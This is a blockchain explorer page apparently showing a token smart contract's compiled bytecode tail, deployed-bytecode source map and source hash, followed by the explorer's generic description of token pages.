0610ecc57506001600160a01b03871660009081526004602052604090205460ff165b610ed857600654610fd7565b6000610fd7565b505050565b60008184841115610f085760405162461bcd60e51b815260040161042a9190611351565b506000610f158486611568565b95945050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610501573d6000803e3d6000fd5b600082610f6757506000610384565b6000610f73838561152d565b905082610f80858361157f565b146109985760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042a565b6000610fee6064610fe88585610f58565b90610956565b90506000610ffc8483611284565b6001600160a01b0387166000908152600260205260409020549091506110229085611284565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461105190826112c6565b6001600160a01b03861660009081526002602052604080822092909255308152205461107d90836112c6565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600a805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611123576111236115a1565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a091906114aa565b816001815181106111b3576111b36115a1565b6001600160a01b0392831660209182029290920101526009546111d9913091168561099f565b60095460405163791ac94760e01b81526001600160a01b039091169063791ac947906112129086906000908690889042906004016115b7565b600060405180830381600087803b15801561122c57600080fd5b505af1158015611240573d6000803e3d6000fd5b5050600a805460ff60a81b191690555050505050565b600081836112775760405162461bcd60e51b815260040161042a9190611351565b506000610f15848661157f565b600061099883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ee4565b6000806112d38385611628565b9050838110156109985760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042a565b60005b83811015611340578181015183820152602001611328565b83811115610e7d5750506000910152565b6020815260008251806020840152611370816040850160208701611325565b601f01601f19169190910160400192915050565b6001600160a01b03811681146103fd57600080fd5b600080604083850312156113ac57600080fd5b82356113b781611384565b946020939093013593505050565b6000806000606084860312156113da57600080fd5b83356113e581611384565b925060208401356113f581611384565b929592945050506040919091013590565b60006020828403121561141857600080fd5b5035919050565b60006020828403121561143157600080fd5b813561099881611384565b6000806040838503121561144f57600080fd5b823561145a81611384565b9150602083013561146a81611384565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156114bc57600080fd5b815161099881611384565b6000602082840312156114d957600080fd5b8151801515811461099857600080fd5b6000806000606084860312156114fe57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561154757611547611517565b500290565b6000825161155e818460208701611325565b9190910192915050565b60008282101561157a5761157a611517565b500390565b60008261159c57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116075784516001600160a01b0316835293830193918301916001016115e2565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561163b5761163b611517565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae816090c0dde0562bac638c84f1900ecc0ab9cce4c4baddbc92f00d86c1a70164736f6c634300080c0033

Deployed Bytecode Sourcemap

3453:6119:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4644:74;;;;;;;;;;-1:-1:-1;3910:10:0;;;;;;;;;;;;-1:-1:-1;;;3910:10:0;;;;4644:74;;;;;;;:::i;:::-;;;;;;;;5715:146;;;;;;;;;;-1:-1:-1;5715:146:0;;;;;:::i;:::-;;:::i;:::-;;;1286:14:1;;1279:22;1261:41;;1249:2;1234:18;5715:146:0;1121:187:1;4885:86:0;;;;;;;;;;-1:-1:-1;4959:7:0;;4885:86;;;1459:25:1;;;1447:2;1432:18;4885:86:0;1313:177:1;5866:292:0;;;;;;;;;;-1:-1:-1;5866:292:0;;;;;:::i;:::-;;:::i;4806:74::-;;;;;;;;;;-1:-1:-1;4806:74:0;;2747:1;2098:36:1;;2086:2;2071:18;4806:74:0;1956:184:1;9440:125:0;;;;;;;;;;;;;:::i;:::-;;5088:328;;;;;;;;;;-1:-1:-1;5088:328:0;;;;;:::i;:::-;;:::i;8268:313::-;;;;;;;;;;;;;:::i;4976:109::-;;;;;;;;;;-1:-1:-1;4976:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;5063:17:0;5042:7;5063:17;;;:8;:17;;;;;;;4976:109;3309:133;;;;;;;;;;;;;:::i;3843:27::-;;;;;;;;;;;;;;;;3125:70;;;;;;;;;;-1:-1:-1;3163:7:0;3184:6;3125:70;;-1:-1:-1;;;;;3184:6:0;;;2728:51:1;;2716:2;2701:18;3125:70:0;2582:203:1;4723:78:0;;;;;;;;;;-1:-1:-1;3958:12:0;;;;;;;;;;;;-1:-1:-1;;;3958:12:0;;;;4723:78;;5419:152;;;;;;;;;;-1:-1:-1;5419:152:0;;;;;:::i;:::-;;:::i;9295:140::-;;;;;;;;;;;;;:::i;5576:134::-;;;;;;;;;;-1:-1:-1;5576:134:0;;;;;:::i;:::-;-1:-1:-1;;;;;5678:18:0;;;5657:7;5678:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5576:134;8586:219;;;;;;;;;;;;;:::i;5715:146::-;5790:4;5801:39;886:10;5824:7;5833:6;5801:8;:39::i;:::-;-1:-1:-1;5852:4:0;5715:146;;;;;:::o;5866:292::-;5964:4;5975:36;5985:6;5993:9;6004:6;5975:9;:36::i;:::-;6016:121;6025:6;886:10;6047:89;6085:6;6047:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6047:19:0;;;;;;:11;:19;;;;;;;;886:10;6047:33;;;;;;;;;;:37;:89::i;:::-;6016:8;:121::i;:::-;-1:-1:-1;6149:4:0;5866:292;;;;;:::o;9440:125::-;9502:21;9528:32;9502:21;9528:12;:32::i;:::-;9468:97;9440:125::o;5088:328::-;3234:6;;-1:-1:-1;;;;;3234:6:0;886:10;3234:22;3226:67;;;;-1:-1:-1;;;3226:67:0;;;;;;;:::i;:::-;;;;;;;;;5168:4:::1;5175:1;5151:23:::0;;;:8:::1;:23;::::0;;;;;5143:52:::1;;;::::0;-1:-1:-1;;;5143:52:0;;3746:2:1;5143:52:0::1;::::0;::::1;3728:21:1::0;3785:2;3765:18;;;3758:30;-1:-1:-1;;;3804:18:1;;;3797:45;3859:18;;5143:52:0::1;3544:339:1::0;5143:52:0::1;5219:3;5208:10;:14;5200:48;;;::::0;-1:-1:-1;;;5200:48:0;;4090:2:1;5200:48:0::1;::::0;::::1;4072:21:1::0;4129:2;4109:18;;;4102:30;-1:-1:-1;;;4148:18:1;;;4141:52;4210:18;;5200:48:0::1;3888:346:1::0;5200:48:0::1;5289:4;5253:18;5272:23:::0;;;:8:::1;:23;::::0;;;;;:48:::1;::::0;5309:10;;5272:32:::1;::::0;5300:3:::1;5272:27;:32::i;:::-;:36:::0;::::1;:48::i;:::-;5253:67;;5325:86;5348:4;5354:42;5398:10;5409:1;5325:14;:86::i;:::-;5138:278;5088:328:::0;:::o;8268:313::-;3234:6;;-1:-1:-1;;;;;3234:6:0;886:10;3234:22;3226:67;;;;-1:-1:-1;;;3226:67:0;;;;;;;:::i;:::-;8330:9:::1;::::0;-1:-1:-1;;;8330:9:0;::::1;;;8329:10;8321:45;;;::::0;-1:-1:-1;;;8321:45:0;;4441:2:1;8321:45:0::1;::::0;::::1;4423:21:1::0;4480:2;4460:18;;;4453:30;4519:25;4499:18;;;4492:53;4562:18;;8321:45:0::1;4239:347:1::0;8321:45:0::1;8403:8;::::0;8414:7:::1;::::0;8371:51:::1;::::0;8388:4:::1;::::0;-1:-1:-1;;;;;8403:8:0;;::::1;::::0;8371::::1;:51::i;:::-;8453:8;;;;;;;;;-1:-1:-1::0;;;;;8453:8:0::1;-1:-1:-1::0;;;;;8453:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8435:48:0::1;;8492:4;8499:8;;;;;;;;;-1:-1:-1::0;;;;;8499:8:0::1;-1:-1:-1::0;;;;;8499:13:0::1;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8435:80;::::0;-1:-1:-1;;;;;;8435:80:0::1;::::0;;;;;;-1:-1:-1;;;;;5077:15:1;;;8435:80:0::1;::::0;::::1;5059:34:1::0;5129:15;;5109:18;;;5102:43;4994:18;;8435:80:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8427:5;:88:::0;;-1:-1:-1;;;;;;8427:88:0::1;-1:-1:-1::0;;;;;8427:88:0;;::::1;::::0;;::::1;::::0;;;8550:8:::1;::::0;8520:56:::1;::::0;-1:-1:-1;;;8520:56:0;;8550:8;::::1;8520:56;::::0;::::1;5330:51:1::0;-1:-1:-1;;5397:18:1;;;5390:34;8427:88:0;8520:21:::1;::::0;5303:18:1;;8520:56:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3309:133::-:0;3234:6;;-1:-1:-1;;;;;3234:6:0;886:10;3234:22;3226:67;;;;-1:-1:-1;;;3226:67:0;;;;;;;:::i;:::-;3410:1:::1;3394:6:::0;;3373:40:::1;::::0;-1:-1:-1;;;;;3394:6:0;;::::1;::::0;3373:40:::1;::::0;3410:1;;3373:40:::1;3435:1;3418:19:::0;;-1:-1:-1;;;;;;3418:19:0::1;::::0;;3309:133::o;5419:152::-;5497:4;5508:42;886:10;5532:9;5543:6;5508:9;:42::i;9295:140::-;9372:4;9328:23;5063:17;;;:8;:17;;;;;;9328:50;;9383:47;9400:15;9424:4;9383:16;:47::i;8586:219::-;3234:6;;-1:-1:-1;;;;;3234:6:0;886:10;3234:22;3226:67;;;;-1:-1:-1;;;3226:67:0;;;;;;;:::i;:::-;8633:8:::1;::::0;-1:-1:-1;;;;;8633:8:0::1;:24;8665:21;8696:4;8702:24;8696:4:::0;-1:-1:-1;;;;;5063:17:0;5042:7;5063:17;;;:8;:17;;;;;;;4976:109;8702:24:::1;8727:1;8729::::0;8731:7:::1;3163::::0;3184:6;-1:-1:-1;;;;;3184:6:0;;3125:70;8731:7:::1;8633:122;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8633:122:0;;;-1:-1:-1;;;;;6076:15:1;;;8633:122:0::1;::::0;::::1;6058:34:1::0;6108:18;;;6101:34;;;;6151:18;;;6144:34;;;;6194:18;;;6187:34;6258:15;;;6237:19;;;6230:44;8739:15:0::1;6290:19:1::0;;;6283:35;5992:19;;8633:122:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8760:12:0::1;:19:::0;;-1:-1:-1;;;;8784:16:0;-1:-1:-1;;;8784:16:0;;;-1:-1:-1;8586:219:0:o;2260:123::-;2318:7;2339:39;2343:1;2346;2339:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2332:46;2260:123;-1:-1:-1;;;2260:123:0:o;6163:308::-;-1:-1:-1;;;;;6250:19:0;;6242:68;;;;-1:-1:-1;;;6242:68:0;;6842:2:1;6242:68:0;;;6824:21:1;6881:2;6861:18;;;6854:30;6920:34;6900:18;;;6893:62;-1:-1:-1;;;6971:18:1;;;6964:34;7015:19;;6242:68:0;6640:400:1;6242:68:0;-1:-1:-1;;;;;6323:21:0;;6315:68;;;;-1:-1:-1;;;6315:68:0;;7247:2:1;6315:68:0;;;7229:21:1;7286:2;7266:18;;;7259:30;7325:34;7305:18;;;7298:62;-1:-1:-1;;;7376:18:1;;;7369:32;7418:19;;6315:68:0;7045:398:1;6315:68:0;-1:-1:-1;;;;;6388:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6434:32;;1459:25:1;;;6434:32:0;;1432:18:1;6434:32:0;;;;;;;6163:308;;;:::o;6476:1310::-;-1:-1:-1;;;;;6558:18:0;;6550:68;;;;-1:-1:-1;;;6550:68:0;;7650:2:1;6550:68:0;;;7632:21:1;7689:2;7669:18;;;7662:30;7728:34;7708:18;;;7701:62;-1:-1:-1;;;7779:18:1;;;7772:35;7824:19;;6550:68:0;7448:401:1;6550:68:0;-1:-1:-1;;;;;6631:16:0;;6623:64;;;;-1:-1:-1;;;6623:64:0;;8056:2:1;6623:64:0;;;8038:21:1;8095:2;8075:18;;;8068:30;8134:34;8114:18;;;8107:62;-1:-1:-1;;;8185:18:1;;;8178:33;8228:19;;6623:64:0;7854:399:1;6623:64:0;6709:1;6700:6;:10;6692:64;;;;-1:-1:-1;;;6692:64:0;;8460:2:1;6692:64:0;;;8442:21:1;8499:2;8479:18;;;8472:30;8538:34;8518:18;;;8511:62;-1:-1:-1;;;8589:18:1;;;8582:39;8638:19;;6692:64:0;8258:405:1;6692:64:0;3163:7;3184:6;-1:-1:-1;;;;;6767:15:0;;;3184:6;;6767:15;;;;:32;;-1:-1:-1;3163:7:0;3184:6;-1:-1:-1;;;;;6786:13:0;;;3184:6;;6786:13;;6767:32;6763:531;;;6819:5;;-1:-1:-1;;;;;6811:13:0;;;6819:5;;6811:13;:40;;;;-1:-1:-1;6842:8:0;;-1:-1:-1;;;;;6828:23:0;;;6842:8;;6828:23;;6811:40;:68;;;;-1:-1:-1;;;;;;6857:22:0;;;;;;:18;:22;;;;;;;;6855:24;6811:68;6807:147;;;6905:12;;6897:6;:20;;6889:58;;;;-1:-1:-1;;;6889:58:0;;8870:2:1;6889:58:0;;;8852:21:1;8909:2;8889:18;;;8882:30;8948:28;8928:18;;;8921:56;8994:18;;6889:58:0;8668:350:1;6889:58:0;7010:4;6961:28;5063:17;;;:8;:17;;;;;;7027:7;;-1:-1:-1;;;7027:7:0;;;;7026:8;:25;;;;-1:-1:-1;7046:5:0;;-1:-1:-1;;;;;7038:13:0;;;7046:5;;7038:13;;7026:25;:41;;;;-1:-1:-1;7055:12:0;;-1:-1:-1;;;7055:12:0;;;;7026:41;7022:267;;;7076:52;7093:20;7122:4;7076:16;:52::i;:::-;7164:21;2782:19;7195:35;;7192:91;;7240:35;7253:21;7240:12;:35::i;:::-;7069:220;7022:267;6801:493;6763:531;7312:10;;-1:-1:-1;;;;;7304:18:0;;;7312:10;;7304:18;:38;;;;-1:-1:-1;;;;;;7326:16:0;;7340:1;7326:16;7304:38;7300:384;;;7385:10;7389:6;7385:1;:10;:::i;:::-;7376:4;7359:23;;;;:8;:23;;;;;;;;:36;;;;7419:5;;;-1:-1:-1;;;;;7419:5:0;;;7410:15;;;;;7428:1;7410:19;;7462:5;;7473:42;;;;;;;;;;;;;;;-1:-1:-1;;;;;7473:42:0;-1:-1:-1;;;;;;7473:42:0;;;7462:54;;7359:23;;7462:5;;:54;;7473:42;7462:54;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7444:72;;;7535:7;7531:121;;;7588:10;;7563:36;;7580:6;;-1:-1:-1;;;;;7588:10:0;7563:16;:36::i;:::-;7531:121;;;7623:26;;-1:-1:-1;;;7623:26:0;;9809:2:1;7623:26:0;;;9791:21:1;9848:2;9828:18;;;9821:30;-1:-1:-1;;;9867:18:1;;;9860:46;9923:18;;7623:26:0;9607:340:1;7531:121:0;7666:7;6476:1310;;;:::o;7300:384::-;-1:-1:-1;;;;;7721:22:0;;;;;;:18;:22;;;;;;7690:91;;7705:4;;7710:2;;7713:6;;7721:22;;;:48;;-1:-1:-1;;;;;;7745:24:0;;;;;;:18;:24;;;;;;;;7721:48;7720:60;;7773:7;;7690:14;:91::i;7720:60::-;7771:1;7690:14;:91::i;:::-;6476:1310;;;:::o;1877:169::-;1963:7;1993:12;1985:6;;;;1977:29;;;;-1:-1:-1;;;1977:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2011:9:0;2023:5;2027:1;2023;:5;:::i;:::-;2011:17;1877:169;-1:-1:-1;;;;;1877:169:0:o;8180:83::-;8231:10;;:27;;-1:-1:-1;;;;;8231:10:0;;;;:27;;;;;8251:6;;8231:10;:27;:10;:27;8251:6;8231:10;:27;;;;;;;;;;;;;;;;;;;2051:204;2109:7;2127:6;2123:32;;-1:-1:-1;2148:1:0;2141:8;;2123:32;2159:9;2171:5;2175:1;2171;:5;:::i;:::-;2159:17;-1:-1:-1;2198:1:0;2189:5;2193:1;2159:17;2189:5;:::i;:::-;:10;2181:56;;;;-1:-1:-1;;;2181:56:0;;10506:2:1;2181:56:0;;;10488:21:1;10545:2;10525:18;;;10518:30;10584:34;10564:18;;;10557:62;-1:-1:-1;;;10635:18:1;;;10628:31;10676:19;;2181:56:0;10304:397:1;8810:446:0;8916:13;8932:29;8957:3;8932:20;:7;8944;8932:11;:20::i;:::-;:24;;:29::i;:::-;8916:45;-1:-1:-1;8966:23:0;8992:18;:7;8916:45;8992:11;:18::i;:::-;-1:-1:-1;;;;;9036:16:0;;;;;;:8;:16;;;;;;8966:44;;-1:-1:-1;9036:29:0;;9057:7;9036:20;:29::i;:::-;-1:-1:-1;;;;;9017:16:0;;;;;;;:8;:16;;;;;;:48;;;;9092:19;;;;;;;:40;;9116:15;9092:23;:40::i;:::-;-1:-1:-1;;;;;9070:19:0;;;;;;:8;:19;;;;;;:62;;;;9180:4;9163:23;;;;:34;;9191:5;9163:27;:34::i;:::-;9154:4;9137:23;;;;:8;:23;;;;;;;;;:60;;;;9207:44;1459:25:1;;;-1:-1:-1;;;;;9207:44:0;;;;;;;;;;1432:18:1;9207:44:0;;;;;;;8911:345;;8810:446;;;;:::o;7795:378::-;4210:7;:14;;-1:-1:-1;;;;4210:14:0;-1:-1:-1;;;4210:14:0;;;7902:16:::1;::::0;;7916:1:::1;7902:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7902:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7902:16:0::1;7878:40;;7941:4;7923;7928:1;7923:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7923:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7961:8:::1;::::0;:15:::1;::::0;;-1:-1:-1;;;7961:15:0;;;;:8;;;::::1;::::0;:13:::1;::::0;:15:::1;::::0;;::::1;::::0;7923:7;;7961:15;;;;;:8;:15:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7951:4;7956:1;7951:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7951:25:0;;::::1;:7;::::0;;::::1;::::0;;;;;:25;8013:8:::1;::::0;7981:55:::1;::::0;7998:4:::1;::::0;8013:8:::1;8024:11:::0;7981:8:::1;:55::i;:::-;8041:8;::::0;:127:::1;::::0;-1:-1:-1;;;8041:127:0;;-1:-1:-1;;;;;8041:8:0;;::::1;::::0;:59:::1;::::0;:127:::1;::::0;8106:11;;8041:8:::1;::::0;8130:4;;8140:2;;8148:15:::1;::::0;8041:127:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4235:7:0;:15;;-1:-1:-1;;;;4235:15:0;;;-1:-1:-1;;;;;7795:378:0:o;2388:168::-;2474:7;2503:12;2496:5;2488:28;;;;-1:-1:-1;;;2488:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2521:9:0;2533:5;2537:1;2533;:5;:::i;1745:127::-;1803:7;1824:43;1828:1;1831;1824:43;;;;;;;;;;;;;;;;;:3;:43::i;1582:158::-;1640:7;;1666:5;1670:1;1666;:5;:::i;:::-;1654:17;;1689:1;1684;:6;;1676:46;;;;-1:-1:-1;;;1676:46:0;;12290:2:1;1676:46:0;;;12272:21:1;12329:2;12309:18;;;12302:30;12368:29;12348:18;;;12341:57;12415:18;;1676:46:0;12088:351:1;14:258;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;-1:-1:-1;;262:1:1;244:16;;237:27;14:258::o;277:383::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;644:2;623:15;-1:-1:-1;;619:29:1;604:45;;;;651:2;600:54;;277:383;-1:-1:-1;;277:383:1:o;665:131::-;-1:-1:-1;;;;;740:31:1;;730:42;;720:70;;786:1;783;776:12;801:315;869:6;877;930:2;918:9;909:7;905:23;901:32;898:52;;;946:1;943;936:12;898:52;985:9;972:23;1004:31;1029:5;1004:31;:::i;:::-;1054:5;1106:2;1091:18;;;;1078:32;;-1:-1:-1;;;801:315:1:o;1495:456::-;1572:6;1580;1588;1641:2;1629:9;1620:7;1616:23;1612:32;1609:52;;;1657:1;1654;1647:12;1609:52;1696:9;1683:23;1715:31;1740:5;1715:31;:::i;:::-;1765:5;-1:-1:-1;1822:2:1;1807:18;;1794:32;1835:33;1794:32;1835:33;:::i;:::-;1495:456;;1887:7;;-1:-1:-1;;;1941:2:1;1926:18;;;;1913:32;;1495:456::o;2145:180::-;2204:6;2257:2;2245:9;2236:7;2232:23;2228:32;2225:52;;;2273:1;2270;2263:12;2225:52;-1:-1:-1;2296:23:1;;2145:180;-1:-1:-1;2145:180:1:o;2330:247::-;2389:6;2442:2;2430:9;2421:7;2417:23;2413:32;2410:52;;;2458:1;2455;2448:12;2410:52;2497:9;2484:23;2516:31;2541:5;2516:31;:::i;2790:388::-;2858:6;2866;2919:2;2907:9;2898:7;2894:23;2890:32;2887:52;;;2935:1;2932;2925:12;2887:52;2974:9;2961:23;2993:31;3018:5;2993:31;:::i;:::-;3043:5;-1:-1:-1;3100:2:1;3085:18;;3072:32;3113:33;3072:32;3113:33;:::i;:::-;3165:7;3155:17;;;2790:388;;;;;:::o;3183:356::-;3385:2;3367:21;;;3404:18;;;3397:30;3463:34;3458:2;3443:18;;3436:62;3530:2;3515:18;;3183:356::o;4591:251::-;4661:6;4714:2;4702:9;4693:7;4689:23;4685:32;4682:52;;;4730:1;4727;4720:12;4682:52;4762:9;4756:16;4781:31;4806:5;4781:31;:::i;5435:277::-;5502:6;5555:2;5543:9;5534:7;5530:23;5526:32;5523:52;;;5571:1;5568;5561:12;5523:52;5603:9;5597:16;5656:5;5649:13;5642:21;5635:5;5632:32;5622:60;;5678:1;5675;5668:12;6329:306;6417:6;6425;6433;6486:2;6474:9;6465:7;6461:23;6457:32;6454:52;;;6502:1;6499;6492:12;6454:52;6531:9;6525:16;6515:26;;6581:2;6570:9;6566:18;6560:25;6550:35;;6625:2;6614:9;6610:18;6604:25;6594:35;;6329:306;;;;;:::o;9023:127::-;9084:10;9079:3;9075:20;9072:1;9065:31;9115:4;9112:1;9105:15;9139:4;9136:1;9129:15;9155:168;9195:7;9261:1;9257;9253:6;9249:14;9246:1;9243:21;9238:1;9231:9;9224:17;9220:45;9217:71;;;9268:18;;:::i;:::-;-1:-1:-1;9308:9:1;;9155:168::o;9328:274::-;9457:3;9495:6;9489:13;9511:53;9557:6;9552:3;9545:4;9537:6;9533:17;9511:53;:::i;:::-;9580:16;;;;;9328:274;-1:-1:-1;;9328:274:1:o;9952:125::-;9992:4;10020:1;10017;10014:8;10011:34;;;10025:18;;:::i;:::-;-1:-1:-1;10062:9:1;;9952:125::o;10082:217::-;10122:1;10148;10138:132;;10192:10;10187:3;10183:20;10180:1;10173:31;10227:4;10224:1;10217:15;10255:4;10252:1;10245:15;10138:132;-1:-1:-1;10284:9:1;;10082:217::o;10838:127::-;10899:10;10894:3;10890:20;10887:1;10880:31;10930:4;10927:1;10920:15;10954:4;10951:1;10944:15;10970:980;11232:4;11280:3;11269:9;11265:19;11311:6;11300:9;11293:25;11337:2;11375:6;11370:2;11359:9;11355:18;11348:34;11418:3;11413:2;11402:9;11398:18;11391:31;11442:6;11477;11471:13;11508:6;11500;11493:22;11546:3;11535:9;11531:19;11524:26;;11585:2;11577:6;11573:15;11559:29;;11606:1;11616:195;11630:6;11627:1;11624:13;11616:195;;;11695:13;;-1:-1:-1;;;;;11691:39:1;11679:52;;11786:15;;;;11751:12;;;;11727:1;11645:9;11616:195;;;-1:-1:-1;;;;;;;11867:32:1;;;;11862:2;11847:18;;11840:60;-1:-1:-1;;;11931:3:1;11916:19;11909:35;11828:3;10970:980;-1:-1:-1;;;10970:980:1:o;11955:128::-;11995:3;12026:1;12022:6;12019:1;12016:13;12013:39;;;12032:18;;:::i;:::-;-1:-1:-1;12068:9:1;;11955:128::o

Swarm Source

ipfs://ae816090c0dde0562bac638c84f1900ecc0ab9cce4c4baddbc92f00d86c1a701
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.